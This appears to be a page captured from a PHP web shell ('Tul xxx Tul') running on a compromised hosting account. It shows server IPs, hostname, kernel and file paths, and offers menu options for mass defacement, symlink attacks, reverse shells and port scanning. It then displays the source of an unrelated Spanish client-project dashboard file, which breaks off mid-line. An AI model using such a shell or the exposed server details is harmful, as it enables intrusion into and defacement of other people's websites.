Tul xxx Tul
User / IP
:
216.73.216.110
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
emprendo.com.co
/
public_html
/
cyne5
/
eliminar
/
Viewing: a.php
<div class="container"> <h1 class="users-header">Mis Proyectos</h1> <?php if (empty($proyectos)): ?> <div style="text-align:center;color:#888;font-size:1.1em;">No tienes proyectos registrados aún.</div> <?php else: ?> <div class="project-deck"> <?php foreach ($proyectos as $proyecto): ?> <?php // Obtener productos y totales $detalles = $projectModel->detalles($proyecto['id']); $productos = array_map(function ($d) { return $d['producto'] . ' x' . $d['cantidad']; }, $detalles); $subtotal = 0; foreach ($detalles as $d) $subtotal += $d['precio'] * $d['cantidad']; // Pagos $pagos = $projectModel->pagos($proyecto['id']); $abonado = 0; foreach ($pagos as $p) $abonado += $p['monto']; $pendiente = $subtotal - $abonado; ?> <div class="project-card"> <div class="project-actions"> <button class="btn-circle" title="Ver Factura" onclick="openFacturaModal(<?= $proyecto['id'] ?>)"><i class="fa-solid fa-file-invoice-dollar"></i></button> <button class="btn-circle" title="Ver Contenidos" onclick="openMultimediaModal(<?= $proyecto['id'] ?>)"><i class="fa fa-photo-film"></i></button> <button class="btn-circle" title="Ver Calendario" onclick="openCalendarioModal(<?= $proyecto['id'] ?>)"><i class="fa fa-calendar-days"></i></button> </div> <div class="project-title"> <?= htmlspecialchars($proyecto['proyecto']) ?> </div> <span class="badge <?= getStatusBadgeClass($proyecto['status']) ?>"> <?= htmlspecialchars($proyecto['status']) ?> </span> <div class="project-meta"><i class="fa fa-user-tie"></i> Manager: <?= htmlspecialchars($proyecto['manager_nombre']) ?></div> <div class="project-meta"><i class="fa fa-calendar"></i> Inicio: <?= formatDate($proyecto['inicio']) ?></div> <div class="project-meta"><i class="fa fa-calendar-check"></i> Fin: <?= formatDate($proyecto['fin']) ?></div> <div class="project-products"> <b>Productos:</b> <?php if ($productos): ?> <ul><?php foreach ($productos as $prod): ?><li><?= htmlspecialchars($prod) ?></li><?php endforeach; ?></ul> <?php else: ?> <span style="color:#bbb;">Sin productos</span> <?php endif; ?> </div> <div class="project-totals"> <span><b>Total:</b> $<?= number_format($subtotal, 2) ?></span><br> <span><b>Pagado:</b> $<?= number_format($abonado, 2) ?></span><br> <span><b>Pendiente:</b> $<?= number_format($pendiente, 2) ?></span> </div> <br> <!-- Stepper visual de estados --> <?php $estados = [ ['Negociacion', 'Negociación', '#ff5c5c'], ['Planificacion', 'Planificación', '#6b00e5'], ['Creacion', 'Creación', '#ff9800'], ['Revision', 'Revisión', '#00bfff'], ['Publicacion', 'Publicación', '#bdbdbd'] ]; $estadoActual = array_search($proyecto['status'], array_column($estados, 0)); ?> <div class="project-stepper" style="display:flex;align-items:center;justify-content:center;margin:10px 0 18px 0;gap:0;"> <?php foreach ($estados as $i => [$val, $label, $color]): $isActive = $proyecto['status'] === $val; $isDone = $estadoActual > $i; $isFuture = $estadoActual < $i; $circleColor = $isActive ? $color : ($isDone ? $color : '#e0e0e0'); $textColor = $isActive ? '#222' : ($isDone ? '#222' : '#bbb'); $border = $isActive ? '3px solid #23252b' : 'none'; ?> <div style="display:flex;flex-direction:column;align-items:center;min-width:60px;"> <div style="width:30px;height:30px;border-radius:50%;background:<?= $circleColor ?>;color:#fff;display:flex;align-items:center;justify-content:center;font-weight:bold;font-size:1.1em;border:<?= $border ?>;box-shadow:0 2px 8px rgba(0,0,0,0.10);margin-bottom:2px;"> <?= $i + 1 ?> </div> <span style="font-size:0.7em;color:<?= $textColor ?>;margin-top:2px;<?= $isActive ? 'font-weight:600;' : '' ?><?= $isFuture ? 'opacity:0.6;' : '' ?>"> <?= $label ?> </span> </div> <?php if ($i < count($estados) - 1): ?> <div style="height:3px;width:30px;background:<?= $estadoActual >= $i + 1 ? $estados[$i + 1][2] : '#e0e0e0' ?>;margin:0 2px;align-self:center;"></div> <?php endif; ?> <?php endforeach; ?> </div> <!-- Fin stepper visual --> </div> <?php endforeach; ?> </div> <?php endif; ?> </div> <!-- CON CHATT --> <?php require_once __DIR__ . '/../models/Client.php'; require_once __DIR__ . '/../models/Project.php'; require_once __DIR__ . '/../models/Product.php'; require_once __DIR__ . '/../models/User.php'; require_once __DIR__ . '/../config.php'; require_once __DIR__ . '/../utils/helpers.php'; $token = $_GET['token'] ?? ''; $clientModel = new Client($pdo); $projectModel = new Project($pdo); $productModel = new Product($pdo); $userModel = new User($pdo); $cliente = $clientModel->findByToken($token); if (!$cliente) { http_response_code(404); echo '<h2 style="color:#dc3545;text-align:center;margin-top:60px;">Token inválido o cliente no encontrado.</h2>'; exit; } // Obtener proyectos del cliente $stmt = $pdo->prepare("SELECT p.*, u.nombre AS manager_nombre FROM proyectos p LEFT JOIN users u ON p.project_manager = u.id WHERE p.cliente_id = ?"); $stmt->execute([$cliente['id']]); $proyectos = $stmt->fetchAll(PDO::FETCH_ASSOC); // Calcular dashboard $activos = 0; $culminados = 0; $saldoPendiente = 0; foreach ($proyectos as $proyecto) { // Considero 'Lograda' o 'Publicacion' como culminado, el resto como activo $isCulminado = in_array($proyecto['status'], ['Lograda', 'Publicacion']); if ($isCulminado) $culminados++; else $activos++; // Sumar saldo pendiente $detalles = $projectModel->detalles($proyecto['id']); $subtotal = 0; foreach ($detalles as $d) $subtotal += $d['precio'] * $d['cantidad']; $pagos = $projectModel->pagos($proyecto['id']); $abonado = 0; foreach ($pagos as $p) $abonado += $p['monto']; $saldoPendiente += max(0, $subtotal - $abonado); } function getStatusBadgeClass($status) { switch ($status) { case 'Planificacion': return 'badge-planificacion'; case 'Creacion': return 'badge-creacion'; case 'Revision': return 'badge-revision'; case 'Publicacion': return 'badge-publicacion'; default: return 'badge-secondary'; } } ?> <!DOCTYPE html> <html lang="es"> <head> <meta charset="UTF-8"> <title>Proyectos de <?= htmlspecialchars($cliente['nombre'] ?: $cliente['razon_social']) ?></title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="icon" href="https://emprendo.com.co/ImagenCyNeProducciones/FaviconCyNe.png"> <link rel="stylesheet" href="/cynea/assets/style.css"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.2/css/all.min.css"> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/css/bootstrap.min.css"> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/sweetalert2@11.7.12/dist/sweetalert2.min.css"> <style> body { background: #000; color: #f1f1f1; font-family: 'Segoe UI', Arial, sans-serif; margin: 0; } .public-header { position: fixed; top: 0; left: 0; width: 100vw; min-height: 110px; background: #000; border-bottom: 1px solid #181818; display: flex; justify-content: space-between; align-items: center; padding: 0; z-index: 1000; } .logo-cyne-img { max-width: 120px; max-height: 120px; object-fit: contain; margin-left: 20px; } .dashboard-public { display: flex; align-items: stretch; justify-content: center; gap: 0; padding: 10px 20px 10px 20px; background: #181a1b; border-radius: 22px; width: 95vw; max-width: 800px; } .dashboard-col { flex: 1; display: flex; flex-direction: column; align-items: flex-start; justify-content: center; padding: 0 48px; border-right: 1.5px solid #23252b; min-width: 180px; } .dashboard-col:last-child { border-right: none; } .dash-icon { font-size: 1.7em; margin-bottom: 4px; } .dash-activos .dash-icon { color: #00bfff; } .dash-culminados .dash-icon { color: #28a745; } .dash-saldo .dash-icon { color: #dc3545; } .dash-value { font-size: 1em; font-weight: 700; color: #fff; } .dash-label { font-size: 1.08em; font-weight: 500; color: #bbb; } .client-info { text-align: center; padding-right: 38px; } .client-email { color: #888; font-size: 0.8em; } .container { margin: 80px auto 40px; padding: 32px 24px; max-width: 1100px; background: #111; border-radius: 18px; box-shadow: 0 2px 16px rgba(0, 0, 0, 0.08); border: 1px solid rgb(8, 229, 0); } .container-fluid { margin: 100px auto 40px; border: 1px solid rgb(8, 229, 0); } .project-deck { display: flex; flex-wrap: wrap; gap: 20px; justify-content: center; } .project-card { background: #fff; color: #222; border: 1px solid #23252b; border-radius: 14px; box-shadow: 0 1px 8px rgba(0, 0, 0, 0.13); flex: 1 1 320px; max-width: 350px; padding: 18px 20px 18px; position: relative; display: flex; flex-direction: column; } .project-actions { display: flex; gap: 12px; margin: 2px 0 10px; } .btn-circle { width: 45px; height: 45px; border-radius: 50%; border: 1.5px solid #fff; display: flex; align-items: center; justify-content: center; cursor: pointer; transition: background .2s, color .2s, border .2s; } .btn-circle i { font-size: 1.3em; } .btn-circle:hover { background: #fff; color: #00bfff; border-color: #00bfff; } .project-title { font-size: 1.25em; font-weight: 600; margin-bottom: 8px; } .badge { display: inline-block; padding: 4px 14px; border-radius: 12px; font-size: 0.98em; font-weight: 500; margin-bottom: 10px; } .badge-planificacion { background: #6b00e5; color: #fff; } .badge-creacion { background: #ff9800; color: #fff; } .badge-revision { background: #00bfff; color: #fff; } .badge-publicacion { background: #28a745; color: #fff; } .badge-secondary { background: #bdbdbd; color: #fff; } .project-meta { font-size: 1em; margin-bottom: 6px; color: #222; } .project-products { margin: 10px 0 6px; } .project-products ul { margin: 0; padding-left: 18px; } .project-totals { margin-top: 10px; font-size: 1em; } .project-totals span { display: inline-block; min-width: 120px; } /* Modal calendario */ #calendarModalBg { display: none; position: fixed; top: 0; left: 0; width: 100vw; height: 100vh; background: rgba(0, 0, 0, 0.75); z-index: 2000; align-items: center; justify-content: center; } #calendarModal { background: #181818; color: #fff; border-radius: 18px; padding: 32px 24px 24px; max-width: 900px; min-width: 350px; width: 98vw; min-height: 520px; max-height: 90vh; margin: auto; box-shadow: 0 4px 32px rgba(0, 0, 0, 0.25); text-align: center; animation: modalFadeIn 0.4s; display: flex; flex-direction: column; } @keyframes modalFadeIn { from { opacity: 0; transform: scale(0.95); } to { opacity: 1; transform: scale(1); } } #calendarModal .close-btn { position: absolute; top: 12px; right: 18px; background: none; border: none; color: #fff; font-size: 1.5em; cursor: pointer; transition: color .2s; } #calendarModal .close-btn:hover { color: #00bfff; } #calendar-controls { display: flex; justify-content: space-between; align-items: center; margin-bottom: 12px; gap: 8px; } #calendar-view-modes { display: flex; gap: 8px; align-items: center; } .calendar-view-btn { background: #23252b; color: #00bfff; border: none; border-radius: 8px; padding: 4px 14px; font-size: 1em; cursor: pointer; transition: background 0.2s, color 0.2s; } .calendar-view-btn.active, .calendar-view-btn:hover { background: #00bfff; color: #fff; } #calendar-grid { margin-bottom: 18px; } .calendar-legend { display: flex; gap: 18px; justify-content: center; margin-top: 10px; font-size: 0.98em; } .calendar-legend span { display: inline-flex; align-items: center; gap: 6px; } .legend-dot { width: 16px; height: 16px; border-radius: 50%; display: inline-block; } .legend-pendiente { background: #dc3545; } .legend-progreso { background: #ffc107; } .legend-lograda { background: #28a745; } .legend-otro { background: #bdbdbd; } @media (max-width:800px) { .container { padding: 10px 2vw; } .project-deck { gap: 16px; } .dashboard-public { flex-direction: column; padding: 12px 2vw; } .dashboard-col { border-right: none; border-bottom: 1.5px solid #23252b; align-items: center; padding: 12px 0; } .dashboard-col:last-child { border-bottom: none; } } @media (max-width:600px) { .project-card { min-width: 98vw; max-width: 98vw; } .logo-cyne-img { max-width: 60px; max-height: 60px; } } @import url('https://fonts.googleapis.com/css?family=Roboto:400,500,700&display=swap'); #multimediaModal { font-family: 'Roboto', Arial, sans-serif; } .close-btn:hover { color: #FF4B4B !important; } .multimedia-tab { color: #B0B3B8; font-size: 1.08em; padding: 8px 18px 6px 18px; cursor: pointer; border-bottom: 2.5px solid transparent; display: flex; align-items: center; gap: 8px; transition: color 0.2s, border-bottom 0.2s; } .multimedia-tab.active, .multimedia-tab:hover { color: #fff; border-bottom: 2.5px solid #ff08a0; } .multimedia-audio-box { background: #181818; border-radius: 12px; padding: 24px 24px 18px 24px; display: flex; flex-direction: column; align-items: center; min-width: 320px; max-width: 380px; width: 100%; } .audio-thumbnail { width: 80px; height: 80px; background: #23252b; border-radius: 12px; display: flex; align-items: center; justify-content: center; margin-bottom: 18px; } .audio-thumbnail i { font-size: 2.8em; color: #00bfff; } .audio-title { color: #fff; font-size: 1.1em; font-weight: 500; margin-bottom: 10px; text-align: center; } .audio-player { width: 100%; margin-bottom: 8px; } .audio-timestamps { color: #B0B3B8; font-size: 0.98em; display: flex; justify-content: space-between; width: 100%; } .multimedia-image-box, .multimedia-document-box { background: #181818; border-radius: 12px; padding: 18px; display: flex; flex-direction: column; align-items: center; min-width: 220px; max-width: 320px; width: 100%; cursor: pointer; transition: box-shadow 0.2s; } .multimedia-image-box:hover, .multimedia-document-box:hover { box-shadow: 0 0 0 3px #00bfff44; } .multimedia-image-preview { max-width: 220px; max-height: 160px; border-radius: 10px; margin-bottom: 10px; } .multimedia-document-icon { font-size: 3em; color: #00bfff; margin-bottom: 10px; } .multimedia-video-box { background: #181818; border-radius: 12px; padding: 18px; display: flex; flex-direction: column; align-items: center; min-width: 320px; max-width: 420px; width: 100%; } .multimedia-video-preview { width: 100%; max-width: 340px; aspect-ratio: 16/9; border-radius: 10px; margin-bottom: 10px; background: #23252b; } .multimedia-controls { display: flex; align-items: center; gap: 18px; margin-top: 8px; } .multimedia-controls button { background: none; border: none; color: #fff; font-size: 1.5em; cursor: pointer; opacity: 0.7; transition: opacity 0.2s, color 0.2s; } .multimedia-controls button:hover, .multimedia-controls button:focus { opacity: 1; color: #ff08a0; } .multimedia-enlarged { position: fixed; top: 0; left: 0; width: 100vw; height: 100vh; background: rgba(0, 0, 0, 0.92); z-index: 3000; display: flex; align-items: center; justify-content: center; } .multimedia-enlarged img, .multimedia-enlarged embed { max-width: 90vw; max-height: 90vh; border-radius: 16px; box-shadow: 0 4px 32px #000a; } .multimedia-enlarged .close-btn { position: absolute; top: 24px; right: 38px; color: #fff; font-size: 2.5em; background: none; border: none; cursor: pointer; opacity: 0.7; z-index: 3100; } .multimedia-enlarged .close-btn:hover { color: #ff08a0; opacity: 1; } #multimedia-playlist { font-family: 'Roboto', Arial, sans-serif; color: #B0B3B8; font-size: 1em; border-right: 1px solid #23252b; max-height: 60vh; } .playlist-item { display: flex; align-items: center; gap: 10px; padding: 10px 18px; cursor: pointer; border-left: 4px solid transparent; transition: background 0.18s, color 0.18s, border-color 0.18s; border-radius: 8px 0 0 8px; background: none; } .playlist-item.active, .playlist-item:hover { background: #23252b; color: #fff; border-left: 4px solid #ff08a0; } .playlist-item i, .playlist-item img { font-size: 1.3em; width: 28px; height: 28px; object-fit: cover; border-radius: 6px; } .playlist-item .playlist-title { flex: 1; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; } </style> </head> <body> <!-- ========================= CABECERA DASHBOARD ========================= --> <div class="public-header"> <div class="logo-cyne"> <img src="/cynea/assets/img/logo.png" alt="Logo Cyne Producciones" class="logo-cyne-img"> </div> <div class="dashboard-public"> <div class="dashboard-col dash-activos"> <div class="dash-icon"><i class="fa fa-play-circle"></i><span class="dash-value"> <?= $activos ?></span></div> <div class="dash-label">Activos</div> </div> <div class="dashboard-col dash-culminados"> <div class="dash-icon"><i class="fa fa-flag-checkered"></i><span class="dash-value"> <?= $culminados ?></span></div> <div class="dash-label">Culminados</div> </div> <div class="dashboard-col dash-saldo"> <div class="dash-icon"><i class="fa fa-dollar-sign"></i> <span class="dash-value"> <?= number_format($saldoPendiente, 0, ',', '.') ?></span></div> <div class="dash-label">Saldo Pendiente</div> </div> </div> <div class="client-info"> <img src="<?= $cliente['imagen'] ? '/cynea/uploads/clients/' . htmlspecialchars($cliente['imagen']) : '/cynea/assets/img/user-default.png' ?>" class="client-avatar" alt="Cliente" style="display:block;margin:18px auto 10px auto;width:50px;height:50px;border-radius:50%;background:#fff;border:2px solid #ffffff;object-fit:cover;"> <!-- <div class="client-name"> <?= htmlspecialchars($cliente['nombre'] ?: $cliente['razon_social']) ?> </div> --> <div class="client-email"><?= htmlspecialchars($cliente['email']) ?></div> </div> </div> <!-- ========================= PROYECTOS & CHAT ========================= --> <div class="container-fluid" style="border:1px solid red;"> <div class="row mb-3" style="border:1px solid red;"> <div class="col-md-8" style="border:1px solid blue;"> <p>Yo soy proyectos</p> <?php if (empty($proyectos)): ?> <div style="text-align:center;color:#888;font-size:1.1em;">No tienes proyectos registrados aún.</div> <?php else: ?> <div class="project-deck"> <?php foreach ($proyectos as $proyecto): ?> <?php // Obtener productos y totales $detalles = $projectModel->detalles($proyecto['id']); $productos = array_map(function ($d) { return $d['producto'] . ' x' . $d['cantidad']; }, $detalles); $subtotal = 0; foreach ($detalles as $d) $subtotal += $d['precio'] * $d['cantidad']; // Pagos $pagos = $projectModel->pagos($proyecto['id']); $abonado = 0; foreach ($pagos as $p) $abonado += $p['monto']; $pendiente = $subtotal - $abonado; ?> <div class="project-card"> <div class="project-actions"> <button class="btn-circle" title="Ver Factura" onclick="openFacturaModal(<?= $proyecto['id'] ?>)"><i class="fa-solid fa-file-invoice-dollar"></i></button> <button class="btn-circle" title="Ver Contenidos" onclick="openMultimediaModal(<?= $proyecto['id'] ?>)"><i class="fa fa-photo-film"></i></button> <button class="btn-circle" title="Ver Calendario" onclick="openCalendarioModal(<?= $proyecto['id'] ?>)"><i class="fa fa-calendar-days"></i></button> </div> <div class="project-title"> <?= htmlspecialchars($proyecto['proyecto']) ?> </div> <span class="badge <?= getStatusBadgeClass($proyecto['status']) ?>"> <?= htmlspecialchars($proyecto['status']) ?> </span> <div class="project-meta"><i class="fa fa-user-tie"></i> Manager: <?= htmlspecialchars($proyecto['manager_nombre']) ?></div> <div class="project-meta"><i class="fa fa-calendar"></i> Inicio: <?= formatDate($proyecto['inicio']) ?></div> <div class="project-meta"><i class="fa fa-calendar-check"></i> Fin: <?= formatDate($proyecto['fin']) ?></div> <div class="project-products"> <b>Productos:</b> <?php if ($productos): ?> <ul><?php foreach ($productos as $prod): ?><li><?= htmlspecialchars($prod) ?></li><?php endforeach; ?></ul> <?php else: ?> <span style="color:#bbb;">Sin productos</span> <?php endif; ?> </div> <div class="project-totals"> <span><b>Total:</b> $<?= number_format($subtotal, 2) ?></span><br> <span><b>Pagado:</b> $<?= number_format($abonado, 2) ?></span><br> <span><b>Pendiente:</b> $<?= number_format($pendiente, 2) ?></span> </div> <br> <!-- Stepper visual de estados --> <?php $estados = [ ['Negociacion', 'Negociación', '#ff5c5c'], ['Planificacion', 'Planificación', '#6b00e5'], ['Creacion', 'Creación', '#ff9800'], ['Revision', 'Revisión', '#00bfff'], ['Publicacion', 'Publicación', '#bdbdbd'] ]; $estadoActual = array_search($proyecto['status'], array_column($estados, 0)); ?> <div class="project-stepper" style="display:flex;align-items:center;justify-content:center;margin:10px 0 18px 0;gap:0;"> <?php foreach ($estados as $i => [$val, $label, $color]): $isActive = $proyecto['status'] === $val; $isDone = $estadoActual > $i; $isFuture = $estadoActual < $i; $circleColor = $isActive ? $color : ($isDone ? $color : '#e0e0e0'); $textColor = $isActive ? '#222' : ($isDone ? '#222' : '#bbb'); $border = $isActive ? '3px solid #23252b' : 'none'; ?> <div style="display:flex;flex-direction:column;align-items:center;min-width:60px;"> <div style="width:30px;height:30px;border-radius:50%;background:<?= $circleColor ?>;color:#fff;display:flex;align-items:center;justify-content:center;font-weight:bold;font-size:1.1em;border:<?= $border ?>;box-shadow:0 2px 8px rgba(0,0,0,0.10);margin-bottom:2px;"> <?= $i + 1 ?> </div> <span style="font-size:0.7em;color:<?= $textColor ?>;margin-top:2px;<?= $isActive ? 'font-weight:600;' : '' ?><?= $isFuture ? 'opacity:0.6;' : '' ?>"> <?= $label ?> </span> </div> <?php if ($i < count($estados) - 1): ?> <div style="height:3px;width:30px;background:<?= $estadoActual >= $i + 1 ? $estados[$i + 1][2] : '#e0e0e0' ?>;margin:0 2px;align-self:center;"></div> <?php endif; ?> <?php endforeach; ?> </div> <!-- Fin stepper visual --> </div> <?php endforeach; ?> </div> <?php endif; ?> </div> <div class="col-md-4" style="border:1px solid blue;"> <p>Yo soy el Chat</p> </div> </div> </div> <!-- Modal calendario tipo grid --> <div id="calendarModalBg"> <div id="calendarModal"> <button class="close-btn" onclick="closeCalendarioModal()">×</button> <div id="calendar-controls"> <button id="btn-prev-week" onclick="changeCalendarWeek(-1)" class="btn-circle" style="width:32px;height:32px;font-size:1em;display:none;"><i class="fa fa-chevron-left"></i></button> <button id="btn-prev-month" onclick="changeCalendarMonth(-1)" class="btn-circle" style="width:32px;height:32px;font-size:1em;"><i class="fa fa-chevron-left"></i></button> <span id="calendar-month-label" style="margin:0 8px;"></span> <button id="btn-next-month" onclick="changeCalendarMonth(1)" class="btn-circle" style="width:32px;height:32px;font-size:1em;"><i class="fa fa-chevron-right"></i></button> <button id="btn-next-week" onclick="changeCalendarWeek(1)" class="btn-circle" style="width:32px;height:32px;font-size:1em;display:none;"><i class="fa fa-chevron-right"></i></button> <div id="calendar-view-modes"> <button class="calendar-view-btn active" id="btn-view-mes" onclick="setCalendarView('mes')">Mes</button> <button class="calendar-view-btn" id="btn-view-semana" onclick="setCalendarView('semana')">Semana</button> <button class="calendar-view-btn" id="btn-view-agenda" onclick="setCalendarView('agenda')">Agenda</button> </div> </div> <div id="calendar-grid" style="flex:1;overflow-y:auto;max-height:60vh;">Cargando calendario...</div> <div class="calendar-legend"> <span><span class="legend-dot legend-pendiente"></span> Pendiente</span> <span><span class="legend-dot legend-progreso"></span> En Progreso</span> <span><span class="legend-dot legend-lograda"></span> Lograda</span> <span><span class="legend-dot legend-otro"></span> Otro</span> </div> </div> </div> <!-- Modal multimedia minimalista para revisión de contenidos --> <div id="multimediaModalBg" style="display:none;position:fixed;top:0;left:0;width:100vw;height:100vh;background:rgba(0,0,0,0.75);z-index:2000;align-items:center;justify-content:center;"> <div id="multimediaModal" style="background:#1F2428;color:#fff;border-radius:16px;padding:24px;max-width:900px;min-width:320px;width:98vw;min-height:420px;max-height:90vh;margin:auto;box-shadow:0 4px 32px rgba(0,0,0,0.25);display:flex;flex-direction:column;position:relative;"> <button class="close-btn" style="position:absolute;top:18px;right:22px;background:none;border:none;color:rgba(255,255,255,0.7);font-size:2em;cursor:pointer;font-weight:bold;transition:color 0.2s;" onclick="closeMultimediaModal()">×</button> <div style="display:flex;flex:1;flex-direction:row;gap:24px;align-items:stretch;justify-content:center;min-height:320px;"> <div id="multimedia-playlist" style="min-width:170px;max-width:220px;width:20vw;background:#181818;border-radius:12px;padding:12px 0;overflow-y:auto;display:flex;flex-direction:column;gap:2px;"></div> <div id="multimedia-content" style="flex:1;display:flex;flex-direction:row;align-items:center;justify-content:center;gap:16px;"></div> </div> <div id="multimedia-tabs" style="display:flex;justify-content:space-between;align-items:center;margin-top:24px;border-top:1px solid #23252b;padding-top:16px;"> <div class="multimedia-tab" data-type="audio"><i class="fa fa-music"></i> <span>Audio</span></div> <div class="multimedia-tab" data-type="video"><i class="fa fa-film"></i> <span>Video</span></div> <div class="multimedia-tab" data-type="image"><i class="fa fa-image"></i> <span>Imagen</span></div> <div class="multimedia-tab" data-type="document"><i class="fa fa-file-alt"></i> <span>Documento</span></div> </div> </div> </div> <script src="https://cdn.jsdelivr.net/npm/jsmediatags@3.9.7/dist/jsmediatags.min.js"></script> <script> let calendarMonthOffset = 0; let calendarProjectId = null; let calendarAcciones = []; let calendarViewMode = 'semana'; let calendarWeekOffset = 0; let multimediaFiles = []; let multimediaCurrentType = 'audio'; let multimediaCurrentIndex = 0; let multimediaEnlarged = false; function openCalendarioModal(projectId) { calendarProjectId = projectId; // Calcular offsets para mostrar la semana/mes actual const now = new Date(); // Mes actual calendarMonthOffset = 0; // Semana actual const dayOfWeek = now.getDay(); const monday = new Date(now); monday.setDate(now.getDate() - ((dayOfWeek + 6) % 7)); const firstMonday = new Date(monday); // Offset de semana es 0 por defecto (semana actual) calendarWeekOffset = 0; calendarViewMode = 'semana'; document.getElementById('btn-view-mes').classList.remove('active'); document.getElementById('btn-view-semana').classList.add('active'); document.getElementById('btn-view-agenda').classList.remove('active'); document.getElementById('btn-prev-week').style.display = ''; document.getElementById('btn-next-week').style.display = ''; document.getElementById('btn-prev-month').style.display = 'none'; document.getElementById('btn-next-month').style.display = 'none'; document.getElementById('calendarModalBg').style.display = 'flex'; loadProjectCalendar(projectId, true); } function closeCalendarioModal() { document.getElementById('calendarModalBg').style.display = 'none'; } function changeCalendarMonth(offset) { if (calendarViewMode !== 'mes') return; calendarMonthOffset += offset; if (calendarProjectId) loadProjectCalendar(calendarProjectId); } function changeCalendarWeek(offset) { calendarWeekOffset += offset; if (calendarProjectId) renderCalendarView(); } function setCalendarView(mode) { calendarViewMode = mode; document.getElementById('btn-view-mes').classList.toggle('active', mode === 'mes'); document.getElementById('btn-view-semana').classList.toggle('active', mode === 'semana'); document.getElementById('btn-view-agenda').classList.toggle('active', mode === 'agenda'); document.getElementById('btn-prev-week').style.display = mode === 'semana' ? '' : 'none'; document.getElementById('btn-next-week').style.display = mode === 'semana' ? '' : 'none'; document.getElementById('btn-prev-month').style.display = mode === 'mes' ? '' : 'none'; document.getElementById('btn-next-month').style.display = mode === 'mes' ? '' : 'none'; renderCalendarView(); } function loadProjectCalendar(projectId, scrollToTodayAgenda = false) { document.getElementById('calendar-grid').innerHTML = 'Cargando calendario...'; fetch(`/cynea/router.php?action=getAcciones&proyecto_id=${projectId}`) .then(r => r.json()) .then(acciones => { calendarAcciones = acciones; renderCalendarView(scrollToTodayAgenda); }) .catch(() => { document.getElementById('calendar-grid').innerHTML = '<div style="color:#bbb;">No se pudo cargar el calendario.</div>'; }); } function renderCalendarView(scrollToTodayAgenda = false) { if (calendarViewMode === 'mes') { renderProjectCalendarPublic(calendarAcciones); } else if (calendarViewMode === 'semana') { renderProjectCalendarSemana(calendarAcciones); } else if (calendarViewMode === 'agenda') { renderProjectCalendarAgenda(calendarAcciones, scrollToTodayAgenda); } } function renderProjectCalendarPublic(acciones) { const now = new Date(); const baseDate = new Date(now.getFullYear(), now.getMonth() + calendarMonthOffset, 1); const year = baseDate.getFullYear(); const month = baseDate.getMonth(); const monthLabel = baseDate.toLocaleString('es-ES', { month: 'long', year: 'numeric' }); document.getElementById('calendar-month-label').textContent = monthLabel.charAt(0).toUpperCase() + monthLabel.slice(1); document.querySelector('button[onclick*="changeCalendarMonth(-1)"]').style.display = ''; document.querySelector('button[onclick*="changeCalendarMonth(1)"]').style.display = ''; const firstDay = new Date(year, month, 1).getDay(); const daysInMonth = new Date(year, month + 1, 0).getDate(); let html = '<div style="display:grid;grid-template-columns:repeat(7,1fr);gap:4px;">'; const weekDays = ['Dom', 'Lun', 'Mar', 'Mié', 'Jue', 'Vie', 'Sáb']; weekDays.forEach(d => html += `<div style='text-align:center;font-weight:600;color:#00bfff;padding:6px 0;'>${d}</div>`); let dayCell = 0; const hoyStr = new Date().toISOString().slice(0, 10); for (let i = 0; i < firstDay; i++) { html += `<div></div>`; dayCell++; } for (let d = 1; d <= daysInMonth; d++, dayCell++) { const dateStr = `${year}-${(month+1).toString().padStart(2,'0')}-${d.toString().padStart(2,'0')}`; let accionesDia = acciones.filter(a => a.inicio && a.inicio.startsWith(dateStr)); accionesDia.sort((a, b) => new Date(a.inicio) - new Date(b.inicio)); // Resaltado si es hoy const isToday = dateStr === hoyStr; html += `<div style='background:#222;border-radius:8px;min-height:60px;padding:4px 2px 2px 2px;box-shadow:0 1px 4px rgba(0,0,0,0.04);position:relative;display:flex;flex-direction:column;${isToday ? "border: 2.5px solid #00bfff; box-shadow:0 0 0 3px #00bfff33;" : ''}'>`; html += `<div style='text-align:right;font-size:0.95em;color:#888;font-weight:600;'>${d}</div>`; accionesDia.forEach(a => { let color = '#bdbdbd'; if (a.status === 'Pendiente') color = '#dc3545'; else if (a.status === 'En Progreso') color = '#ffc107'; else if (a.status === 'Lograda') color = '#28a745'; html += `<div style='background:${color};color:#fff;border-radius:6px;padding:6px 8px;margin:3px 0;white-space:normal;overflow-wrap:break-word;word-break:break-word;max-width:98%;cursor:pointer;min-height:28px;display:flex;flex-direction:column;align-items:flex-start;font-size:0.95em;line-height:1.18;'> <span style='font-weight:600;font-size:1em;line-height:1.15;max-width:100%;white-space:normal;overflow-wrap:break-word;'>${a.accion}</span> </div>`; }); html += `</div>`; } html += '</div>'; document.getElementById('calendar-grid').innerHTML = html; } function renderProjectCalendarSemana(acciones) { // Semana seleccionada (del domingo al sábado) const now = new Date(); const dayOfWeek = now.getDay(); // 0=Domingo, 1=Lunes, ..., 6=Sábado const sunday = new Date(now); sunday.setDate(now.getDate() - dayOfWeek + (calendarWeekOffset * 7)); let weekDates = []; for (let i = 0; i < 7; i++) { const d = new Date(sunday); d.setDate(sunday.getDate() + i); weekDates.push(d); } const weekLabel = `${weekDates[0].toLocaleDateString('es-ES', { day:'2-digit', month:'short' })} - ${weekDates[6].toLocaleDateString('es-ES', { day:'2-digit', month:'short', year:'numeric' })}`; document.getElementById('calendar-month-label').textContent = 'Semana: ' + weekLabel; document.getElementById('btn-prev-week').style.display = ''; document.getElementById('btn-next-week').style.display = ''; document.getElementById('btn-prev-month').style.display = 'none'; document.getElementById('btn-next-month').style.display = 'none'; let html = '<div style="display:grid;grid-template-columns:repeat(7,1fr);gap:4px;min-height:320px;">'; const weekDays = ['Dom', 'Lun', 'Mar', 'Mié', 'Jue', 'Vie', 'Sáb']; weekDays.forEach((d, i) => html += `<div style='text-align:center;font-weight:600;color:#00bfff;padding:6px 0;'>${d}</div>`); const hoyStr = new Date().toISOString().slice(0, 10); for (let i = 0; i < 7; i++) { const d = weekDates[i]; const dateStr = d.toISOString().slice(0, 10); let 